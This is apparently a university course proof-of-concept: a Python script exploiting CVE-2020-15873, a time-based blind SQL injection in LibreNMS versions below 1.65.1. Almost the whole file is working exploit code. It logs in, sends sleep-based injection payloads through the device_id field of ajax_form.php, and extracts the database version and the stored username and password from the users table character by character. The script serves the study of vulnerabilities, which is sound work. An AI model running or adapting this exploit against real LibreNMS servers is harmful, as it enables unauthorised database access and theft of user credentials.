README.md
Rendering markdown...
'''
Module: CS4239
Semester: AY2021 Semester 1
PoC of CVE-2020-15873 - Blind SQL Injection in Librenms < v1.65.1
Authors:
1. ANG Chin Guan, Melvin
2. CHEAH Zhi Kang
3. LEE Bo Qiang
4. POH Jia Hao
5. TAN Wei Sheng, Jerome
Pre-req:
1. Docker container running Libre v1.65 and below
2. Login as librenms:librenms
3. Create a device using the GUI, toggle "snmp" off and set the host to '127.0.0.1'.
4. Run this script: python poc.py <ip addr:8000> librenms librenms
'''
import requests
import sys
from bs4 import BeautifulSoup
s = requests.Session()
# Burp is assumed to be listening on port 8080.
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
def sqli(ip, inj_str):
for j in range(32, 127):
if send_request(ip, inj_str.replace("[CHAR]", str(j))):
return chr(j)
def send_request(ip, payload):
target = "http://{}/ajax_form.php".format(ip)
p_data = {"action": "test", "type": "customoid", "device_id": payload}
# Swap the comment on 2 lines below to debug using Burp
r = s.post(target, data=p_data)
#r = s.post(target, data=p_data, proxies=proxies)
# Uncomment the line below to see what is being sent to the server
#print payload
if (round(r.elapsed.total_seconds()) > 3):
return True
return False
def login(ip):
login_url = "http://{}/login".format(ip)
response = s.get(login_url)
soup = BeautifulSoup(response.text, 'html.parser')
_token = soup.find('input')['value']
username = sys.argv[2]
password = sys.argv[3]
login_data = {"_token": _token, "username": username, "password": password, "remember": "on", "submit":""}
login = s.post(login_url, data=login_data)
if "Logout" not in login.text:
print "[-] Failed to login! Are the credentials correct?"
sys.exit(-1)
def guess_version_length(ip):
for i in range(1, 255):
injection_string ="1 AND IF(LENGTH((SELECT version()))={},sleep(4),'a');-- -".format(i)
output = send_request(ip, injection_string)
if output:
return i
print "[-] Failed to guess version length! Is the target using a vulnerable LibreNMS version?"
sys.exit(-1)
def guess_version_string(ip, ver_length):
ver_string = ""
for i in range(1, ver_length + 1):
injection_string ="1 AND IF(ASCII(SUBSTRING((SELECT version()),{},1))=[CHAR],sleep(4),'a');-- -".format(i)
character = sqli(ip, injection_string)
if character:
ver_string += character
sys.stdout.write(character)
sys.stdout.flush()
else:
print "[-] Skipped character position: {} due to not being in ASCII range.".format(i)
return ver_string
def guess_variable_length(ip, variable, table):
for i in range(1, 255):
injection_string ="1 AND IF(LENGTH((SELECT {} FROM {} LIMIT 1))={},sleep(4),'a');-- -".format(variable, table, i)
output = send_request(ip, injection_string)
if output:
return i
print "[-] Failed to guess {} length! Is the injection query formatted correctly?".format(variable)
sys.exit(-1)
def guess_variable_string(ip, variable, variable_length, table):
var_string = ""
for i in range(1, variable_length + 1):
injection_string = "1 AND IF(ASCII(SUBSTRING((SELECT {} FROM {} LIMIT 1),{},1))=[CHAR],sleep(4),'a');-- -".format(variable, table, i)
character = sqli(ip, injection_string)
if character:
var_string += character
sys.stdout.write(character)
sys.stdout.flush()
else:
print "[-] Skipped character position: {} due to not being in ASCII range.".format(i)
return var_string
def main():
ip = sys.argv[1]
print "[+] Attempting to login..."
login(ip)
print "[+] Logged in successfully!\n"
print "[+] Retrieving database version length..."
ver_length = guess_version_length(ip)
print "[+] Length of database version string is: {}-characters long.\n".format(ver_length)
print "[+] Retrieving database version...."
ver_string = guess_version_string(ip, ver_length)
print "\n[+] Database version is: {}\n".format(ver_string)
print "[+] Retrieving username length from users table..."
user_length = guess_variable_length(ip, "username", "users")
print "[+] Length of username string is: {}-characters long.\n".format(user_length)
print "[+] Retrieving username from users table..."
user_string = guess_variable_string(ip, "username", user_length, "users")
print "\n[+] Username is: {}\n".format(user_string)
print "[+] Retrieving password length from users table..."
pass_length = guess_variable_length(ip, "password", "users")
print "[+] Length of password string is: {}-characters long.\n".format(pass_length)
print "[+] Retrieving password from users table..."
pass_string = guess_variable_string(ip, "password", pass_length, "users")
print "\n[+] Password is: {}\n".format(pass_string)
if __name__ == "__main__":
if len(sys.argv) != 4:
print "[+] Usage: {} <target> <username> <password>".format(sys.argv[0])
print "[+] Example: {} domain/ip username password".format(sys.argv[0])
sys.exit(-1)
main()